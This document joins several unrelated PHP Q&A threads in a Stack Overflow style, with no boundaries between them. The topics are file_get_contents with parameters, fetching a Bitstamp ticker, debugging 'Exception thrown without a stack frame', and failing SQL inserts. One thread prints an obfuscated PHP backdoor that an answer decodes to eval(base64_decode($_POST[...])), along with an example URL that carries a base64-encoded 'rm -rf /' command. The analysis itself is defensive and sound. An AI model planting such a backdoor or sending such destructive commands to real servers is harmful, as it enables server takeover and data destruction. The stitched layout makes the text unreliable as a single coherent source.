I am trying to create a simple web service that will give a result depending on parameters passed.
I would like to use file_get_contents but am having difficulties getting it to work. I have researched many of the other questions relating to the file_get_contents issues but none have been exactly the situation I seem to having.
I have a webpage:
example.com/xdirectory/index.php
I am attempting to get the value of the output of that page using:
file_get_contents(urlencode('https://www.example.com/xdirectory/index.php'));*
That does not work due to some issue with the https. Since the requesting page and the target are both on the same server I try again with a relative path:
file_get_contents(urlencode('../xdirectory/index.php'));
That does work and retrieves the html output of the page as expected.
Now if I try:
file_get_contents(urlencode('../xdirectory/index.php?id=100'));
The html output is (should be): Hello World.
The result retrieved by the command is blank. I check the error log and have an error:
[Fri Dec 04 12:22:54 2015] [error] [client 10.50.0.12] PHP Warning: file_get_contents(../xdirectory/index.php?id=100): failed to open stream: No such file or directory in /var/www/html/inventory/index.php on line 40, referer: https://www.example.com/inventory/index.php
The php.ini has these set:
allow_url_fopen, On local and On master
allow_url_include, On local and On master
Since I can get the content properly using only the url and NOT when using it with parameters I'm guessing that there is an issue with parameters and file_get_contents. I cannot find any notice against using parameters in the documentation so am at a loss and asking for your help.
Additional Notes:
I have tried this using urlencode and not using urlencode. Also, I am not trying to retrieve a file but dynamically created html output depending on parameters passed (just as much of the html output at index.php is dynamically created).
** There are several folks giving me all kind of good suggestions and it has been suggested that I must use the full blown absolute path. I just completed an experiment using file_get_contents to get http://www.duckduckgo.com, that worked, and then with a urlencoded parameter (http://www.duckduckgo.com/?q=php+is+cool)... that worked too.
It was when I tried the secure side of things, https://www.duckduckgo.com that it failed, and, with the same error message in the log as I have been receiving with my other queries.
So, now I have a refined question and I may need to update the question title to reflect it.
Does anyone know how to get a parameterized relative url to work with file_get_contents? (i.e. 'file_get_contents(urlencode('../xdirectory/index.php?id=' . urlencode('100'))); )
Unless you provide a full-blown absolute protocol://host/path-type url to file_get_contents, it WILL assume you're dealing with a local filesystem path.
That means your urlencode() version is wrongly doing
file_get_contents('..%2Fxdirectory%2Findex.php');
and you are HIGHLY unlikely to have a hidden file named ..%2Fetc....
call url with domain, try this
file_get_contents('https://www.example.com/inventory/index.php?id=100');
From reading your comments and additional notes, I think you don't want file_get_contents but you want include.
see How to execute and get content of a .php file in a variable?
Several of these answers give you useful pointers on what it looks like you're trying to achieve.
file_get_contents will return the contents of a file rather than the output of a file, unless it's a URL, but as you seem to have other issues with passing the URI absolutely....
So; you can construct something like:
$_GET['id'] = 100;
//this will pass the variable into the index.php file to use as if it was
// a GET value passed in the URI.
$output = include $_SERVER['DOCUMENT_ROOT']."/file/address/index.php";
unset($_GET['id']);
//$output holds the HTML code as a string,
The above feels hacky trying to incorporate $_GET values into the index.php page, but if you can edit the index.php page you can use plain PHP passed values and also get the output returned with a specific return $output; statement at the end of the included file.
It has been two years since I used PHP so I am just speculating about what I might try in your situation.
Instead of trying fetching the parsed file contents with arguments as a query string, I might try to set the variables directly within the php script and then include it (that is if the framework you use allows this).
To achive this I would use pattern:
ob_start -> set the variable, include the file that uses the variable -> ob_get_contents -> ob_end_clean
It is like opening your terminal and running the php file with arguments.
Anyway, I would not be surprised if there are better ways to achieve the same results. Happy hacking :o)
EDIT:
I like to emphasize that I am just speculating. I don't know if there are any security issues with this approach. You could of course ask and see if anyone knows here on stackoverflow.
EDIT2:
Hmm, scrap what I said last. I would check if you can use argv instead.
'argv' Array of arguments passed to the script. When the script is run on the command line, this gives C-style access to the command line parameters. When called via the GET method, this will contain the query string. http://php.net/manual/en/reserved.variables.server.php
Then you just call your php script locally but without the query mark indicator "?". This way you can use the php interpreter without the server.
This is likely to be the most general solution because you can also use argv for get requests if I am understanding the manual correctly.
My goal is fairly simple, this is a PHP file and I included it into my header because I want to display the last bitcoin price using bitstamp.net not any other bitcoin exchange prices.
<?php
function getprice($url){
$decode = file_get_contents($url);
return json_decode($decode, true);
}
$btcUSD = getPrice('https://www.bitstamp.net/api/ticker/ '); //bitstamp
$btcPrice = $btcUSD["last"];
$tempround = round($btcPrice, 2);
$btc_Display = "$".$tempround;
?>
Well, this seems to work, but some times upon refreshing the page I get an error.
Warning: file_get_contents(https://www.bitstamp.net/api/ticker/ ):
failed to open stream: HTTP request failed! HTTP/1.1 400 BAD_REQUEST
in C:\xampp\htdocs\hidden\btcprice.php on line 3
The error doesn't happen often its very random in timing, but what does it mean and how can I prevent it?
It took me a while to get the error because I don't know what is causing it. I'm curious how to prevent it, am I leaving something out? I used a guide to learn how to do this that got the last bitcoin price from btc-e, but I don't want to use btc-e. I have to use bitstamp last price.
Also no JavaScript is allowed (or should I say I'm trying to avoid JavaScript for this little project) and I don't understand PHP OOP stuff, so please no examples in that.
Your code is working for me. The w3.org defines 400 as follows:
The request could not be understood by the server due to malformed
syntax. The client SHOULD NOT repeat the request without
modifications.
However, that can happen when you use a Web-Api. Espacially Api's from Bitcoin-exchanges can be pretty unstable and answer with errors from time to time, according to my own experience. How RobotMind already mentioned, you should put a
try
{
}
catch
{
}
around the getPricefunction.
Another option is to use Curl. This way you can easily access the Status-Code and react accordingly if an error should happen.
Can any one explain this code. I am having this code on the top of almost every php file. What is this code for. Thanks for your help.
Here is the code....
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n642afe'])) {eval($s21(${$s20}['n642afe']));} ?>
I've seen that code a number of times in different incarnations. It's a piece of injected code left by an attacker. If you break it down it almost always results in eval($var); where $var is an injected parameter (usually $_POST) that then is used to perform some sort of malicious act on your server. Bear in mind eval() will execute any linux command with the same permissions and authority of the user running Apache/PHP.
Breaking down your example
In your example you've given the following code:
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n642afe'])) {eval($s21(${$s20}['n642afe']));} ?>
This is semi-obfuscated code but let's start to work through it. The first thing we need to do here is format it to start to understand it:
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if (isset(${$s20}['n642afe'])) {
eval($s21(${$s20}['n642afe']));
}
?>
We can see now that this is a relatively simple PHP script.
Line 1:
$sF="PCT4BA6ODSE_"; is just a variable with what seems like random rubbish in it.
Line 2:
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
This can be translated into: $s21 = "base64_decode"
Line 3:
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
As above, running strtoupper() on that string produces the result _POST.
Line 4:
The if statement here checks to see if ${s20}['n642afe'] is set. Well we know that $s20 evaluates to _POST and ${} type variables take the value as their variable name so this is really:
if(isset($_POST['n642afe'])){
Note: The n642afe part is a random parameter they've chosen so that you (or any other attacker!!!) tries to go to somefile.php?hack=yes it wouldn't work
Line 5:
The most dangerous part is here. Let's evaluate our variables in the same manner as above:
eval($s21(${$s20}['n642afe']));
The end result
eval(base64_decode($_POST['n642afe']));
If I were to send rm -rf / base64 encoded as post value for the parameter n642afe that would recursively delete everything. Unlikely it'd be able to do that without super user permissions but the point is - they'd have the same access rights as you do when you SSH to your server. Here's an example of what that'd look like:
http://example.com/infected.php?n642afe=cm0gLXJmIC8=
Translated, this becomes:
eval(base64_decode('cm0gLXJmIC8='));
And then again:
eval('rm -rf /');
My recommendation is - take the site offline immediately, update it, patch any
holes that are obvious and then make sure your server (and any other sites on there) are secure. Pay particular attention to file and folder permissions on your server. Note: this is a non-exhaustive list, there's so much more you can do to protect yourself.
If you simply delete this line you'll probably find one of two things will happen (or both):
The permissions on the "infected" file are different and the file is owned by a different user. You'll need to chmod/chown the file to get it back
The attackers will keep trying to get back in once they've been successful once. Simply removing the bad code is a good start but ask yourself this: "How did they get in in the first place?". With that in mind, please refer to my recommendation paragraph to begin to solve your issue.
Finding how they got in
To find where attackers 'got in' could be a game of cat and mouse, it's worth starting with the apache access logs though and searching for requests to your infected file with the parameter n642afe. You could also check your PHP logs to see what exactly was run and see what other holes they've opened.
I have found that one common reason for the error is an exception being thrown from within an exception handler. I'm quite sure this doesn't happen in the application I'm trying to debug... But I've put all the initialization processing lines at the top of index.php in a try/catch.*
It can apparently also happen because some things cannot be serialized to be stored in a session. At most this application stores arrays into the session (quite a bit), but I'm confident that it doesn't store anything too out of the ordinary in it.
Someone commented that it happened to them because their primary key needed to be CHAR(32) instead of INT(11). The PK's in this app are all INTs.
Other suggestions are that it could be a problem with PHP 5.3.3 fixed in 5.3.6, full disk, and a need to typecast a SimpleXML value. We do happen to be running PHP 5.3.3, but upgrading would have to be a last resort in this case. It hasn't always been doing this.
UPDATE/NOTE: I actually can't reproduce the error myself, only see it happening in the logs, see below paragraph for where I believe the error is happening...
* From the error logs, it seems likely that at least one place it is happening is index.php. I am deducing this only because it is indicated in some entries by a referring URL. The try/catch code is currently only around the "top" initialization portion of the script, below that is mostly the HTML output. There is some PHP code in the output (pretty straightforward stuff though), so I may need to test that. Here is the catch part, which is not producing any output in the logs:
} catch (Exception $e) {
error_log(get_class($e)." thrown. Message: ".$e->getMessage(). " in " . $e->getFile() . " on line ".$e->getLine());
error_log('Exception trace stack: ' . print_r($e->getTrace(),1));
}
Would really appreciate any tips on this!
EDIT: PHP is running as an Apache module (Server API: Apache 2.0 Handler). I don't think there are any PHP accelerators in use, but it could just be that I don't know how to tell. None of the ones listed on Wikipedia are in phpinfo().
As far as I can tell the MPM is prefork. This is the first I'd ever looked into the MPM:
# ./httpd -l
Compiled in modules:
core.c
prefork.c
http_core.c
mod_so.c
The problem
In short you have a exception thrown somewhere, you have no idea where and up until now you could not reproduce the error: It only happens for some people, but not for you. You know that it happens for other people, because you see that in the error logs.
Reproduce the problem
Since you have already eliminated the common reasons you will need to reproduce the error. If you know which parameter will cause the error it should be easy to locate the error.
Most likely it is enough if you know all the POST/GET parameters.
If you can't reproduce with just these, you need to know additional request headers. Such as user agent, accept-encoding,...
If you still can't reproduce, then it becomes very difficult: The error may depend on a state (a session), the current time, the source ip address or the like.
The custom log method
Let's start simple: To get all parameters you can write in the very beginning of the affected php file something like:
file_put_contents("/path/to/some/custom_error_log", date()."\n".print_r(get_defined_vars(), true), FILE_APPEND | LOCK_EX);
Don't forget that the custom_error_log file must be writable to your php application. Then, when the error occurs in the error log, find the corresponding lines in your custom_error_log file. Hopefully there are not to many requests per second so that you can still identify the request. Maybe some additional parameters in the error log like source ip can help you identify the request (if your error log shows that).
From that data, reconstruct a request with the same POST/GET parameters.
The tcpdump method
The next option that is very simple as well, but requires you to have root-access on your target machine is to install tcpflow. Then create a folder, cd into that folder and simply execute (as root) tcpflow "port 80". The option (port 80) is a pcap filter expression. To see all you can do with that, see man pcap-filter. There is a lot what these filter expressions can do.
Now tcpflow will record all tcp connections on port 80, reconstruct the full data exchange by combining the packages belonging to one connection and dump this data to a file, creating two new files per connection, one for incoming data and one for outgoing data. Now find the files for a connection that caused an error, again based on the timestamp in your error log and by the last modified timestamp of the files. Then you get the full http request headers. You can now reconstruct the HTTP request completely, including setting the same accept-encoding, user-agent, etc. You can even pipe the request directly into netcat, replaying the exact request. Beware though that some arguments like a sessionid might be in your way. If php discovers that a session is expired you may just get a redirect to a login or something else that is unexpected. You may need to exchange things like the session id.
Mocking more things
If none of this helps and you can't reproduce the error on your machine, then you can try to mock everything that is hard to mock. For example the source ip adress. This might make some stunts necessary, but it is possible: You can connect to your server using ssh with the "-w" option, creating a tunnel interface. Then assign the offending ip adress to your own machine and set routes (route add host ) rules to use the tunnel for the specific ip. If you can cable the two computers directly together then you can even do it without the tunnel.
Don't foget to mock the session which should be esiest. You can read all session variables using the method with print_r(get_defined_vars()). Then you need to create a session with exactly the same variables.
Ask the user
Another option would be actually ask the user what he was doing. Maybe you can follow the same steps as he and can reproduce.
If none of this helps
If none of that helps... well... Then it gets seriously difficult. The IP-thing is already highly unlikely. It could be a GEO-IP library that causes the error on IPs from a specific region, but these are all rather unlikely things. If none of the above helped you to reproduce the problem, then you probably just did not find the correct request in all the data generated by the custom_log_file-call / tcpflow. Try to increase your chances by getting a more accurate timestamp. You can use microtime() in php as a replacement for date(). Check your webserver, if you can get something more accurate than seconds in your error log. Write your own implementation of "tail", that gives you a more accurate timestamp,... Reduce the load on the system, so that you don't have to choose from that much data (try another time of day, load of users to different servers,...)
circle the problem once you can reproduce
Now once you can reproduce it should be a walk in the park to find the actual cause. You can find the parameter that causes the error by trial and error or by comparing it to other requests that caused an error, too, looking for similarities. And then you can see what this parameter does, which libraries access it, etc. You can disable every component one by one that uses the parameter until you can't reproduce anymore. Then you got your component and can dive into the problem deeper.
Tell us what you found. I am curious ;-).
I had such an error, too. Found out that I returned a sql object in my session class (that was used by the session_handler) instead of returning nothing or at least not the sql object. First look into your _write and _read methods, if you too return some incorrect stuff.
Notice: ... Unknown on line 0 - How to find correct line, it's NOT "line 0"
I realize this question has already been answered, but I'll add this since it may help someone:
I managed to (unintentionally) produce errors without a stack frame from a function which used its own error handler to maintain control of execution while calling a potentially "dangerous" function, like this:
// Assume the function my_error_handler() has been defined to convert any
// PHP Errors, Warnings, or Notices into Exceptions.
function foo() {
// maintain control if danger() crashes outright:
set_error_handler('my_error_handler');
try {
// Do some stuff.
$r = danger();
} catch (Exception $e) {
$r = 'Bad Stuff, Man!';
}
restore error_handler();
return $r;
}
The "untraceable failure" would happen at the end of the program execution if the logic in "Do some stuff" returned from foo() directly, bypassing the call to restore_error_handler(). What I took away from the experience is this:
PHP maintains a stack of error handlers which gets deeper/taller with each call to set_error_handler().
Bad Stuff can happen if you push error handlers onto the stack and don't clean up after yourself before the program exits "normally".
This was a tough bug to isolate - I basically narrowed the problem down to the above function and then stared at it until my eyes bled.
So how would I have tracked this down, knowing what I know now? Since I don't know of any way to inspect the PHP error handler "stack" directly, I'm thinking it might make sense to use a Singleton object to encapsulate all set/restore operations for PHP error handlers. At least then it would be possible to inspect the state of the Singleton before exiting the program normally, and if "dangling" error handlers are detected to generate a sensible failure/warning message before PHP freaks out.
Instead of wrapping code in a try/catch block, what happens when you register an exception handler? Clearly your try/catch block is not catching the exception, thus resulting in the errors logged to Apache. By registering a handler, you can be sure any uncaught exception is handled.
Also, if you're using namespaces in your application, make sure you write \Exception in your catch block (or include the Exception class via a use statement).
This may be a little late but one issue I discovered when moving a site from a local to a remote server. I was using Concrete5 cms had developed my site locally(windows 8 in xampp) and then uploaded to a remote server running Cent 0S
Windows mysql by default is case insensitive and created a lower case database. Once this was uploaded to the remote server I received the "Exception thrown without a stack frame in Unknown on line 0?"
I then corrected the database tables case and my site started working again.
For us, this error was due to inadvertently serializing SimpleXML objects.
If you are using SimpleXML objects with 5.3.3, make sure you are are casting the node values to whatever you need (e.g. string) if you are serializing the values in the session.
Before:
$token = $response->Token->Value;
/* token saved in session, results in line 0 error */
After:
$token = (string) $response->Token->Value;
/* token saved in session, no error */
I had completely the same error. A very spacial case: if you connect an unnamed function (closure) hook to an object instance's hook point. After that you try to serialize this object.
I had the same error after filling the Illuminate Eloquent model's Fillable property incorrectly. Note the last 3 elements of the array, one is missing a coma.
protected $fillable = [
'budget',
'routestatus' ,
'userroutenumber'
'totalmovingseconds',
'totalidleseconds'
];
I had the same error, it appeared upgrading server from centos 5 to centos 6 and downgrading PHP from 5.4 to 5.3. Actual issue was PHP apc, not configured properly. Check your APC. I was using Symfony2, so you might find some help at Symfony Unable to allocate memory for pool
one simple way to produce this error is an old server with register_globals = On. then you only need two lines of code:
<?php
$_SESSION["my_var"] = "string";
$my_var = new MyClass(); //could be any class, i guess
?>
as soon as you reload this page once, you'll get the Exception thrown without a stack frame in Unknown on line 0 - error. seems like there is a conflict between the instance of the class and the (session) variable.
at least this is how i got this annoying error which is so hard to debug.
This problem occurred for me when I changed the namespace on a few Symfony bundles. Deleting the files in the the symfony cache directory fixed the issue.
Likely you have a corrupt/inconsistent table in the database. Try dumping the database. If you get a error that's the time. Repair that table and the issue should go away.
It is for this reason why clean install works. The clean install is just that clean.
mysqlcheck should work but if it does not show and issue still do above.
I am using CodeCharge Studio to finish a large PHP application. This question isn't really CCS related, but a bit more general. I have a web form that is supposed to allow CRUD capabilities with a certain SQL Server table, but the Inserts keep failing without throwing any errors. What would be the best way to debug this?
When I'm having trouble with dynamically generated SQL queries, I typically echo out the query and try running that query on the console for the DB. Or alternatively, you could write a simple PHP function that writes out strings to a file, and that way you don't have to display the query directly on your page, but instead in a log file.
See what the actually query is and then try doing that query directly on the DB. Then you know whether it's a PHP issue or a DB issue.
Then go from there, depending on the outcome.
If the query looks OK, double check that the user running the query has insert rights to the database.
I've been caught out by that before.
You can monitor all sql queries in mysql as shown in this site, once you enable logging, run the query manually and see why its failing..this should be good starting point.
In addition to what's mentioned before, I can add my recent discovery:
trigger_error(print_r($your_var,1),E_USER_ERROR);
So you can output and debug your variable, even if it's a complex script with redirects, where simple echo would not help.
Dmitri.
You should try using FirePHP and log all the SQL to your Firebug:
An Example would be:
$sql = "SELECT * FROM table"
if (!mysql_query($sql)) {
// In un successfull log to FireBug
FB::error($data, "SQL error: ".mysql_error());
}
You can also implement the FB::error call from your own function, so you can later deactivate this behaviour modifying your function:
function log_error($data, $msg){
//dont forget to deactivate in case the application goes live!
FB::error($data, $msg);
}
if (!mysql_query($sql)) {
// In un successfull log to FireBug
log_error($data, "SQL error: ".mysql_error());
}
Most of the database connection classes in CodeCharge have a 'debug' flag which will automatically write all the page's database commands at the top of the page.
For example, in an old PHP project of mine, 'Common Files' the file 'db_mysql.php' (line 27):
public $Debug = 0; ## Set to 1 for debugging messages.
Change to '1' and publish that file. Load the web page. Change back and re-publish when done.
I've used this in CCS for PHP and ASP projects, and is likely in the other languages (not sure if or where to find in .NET projects).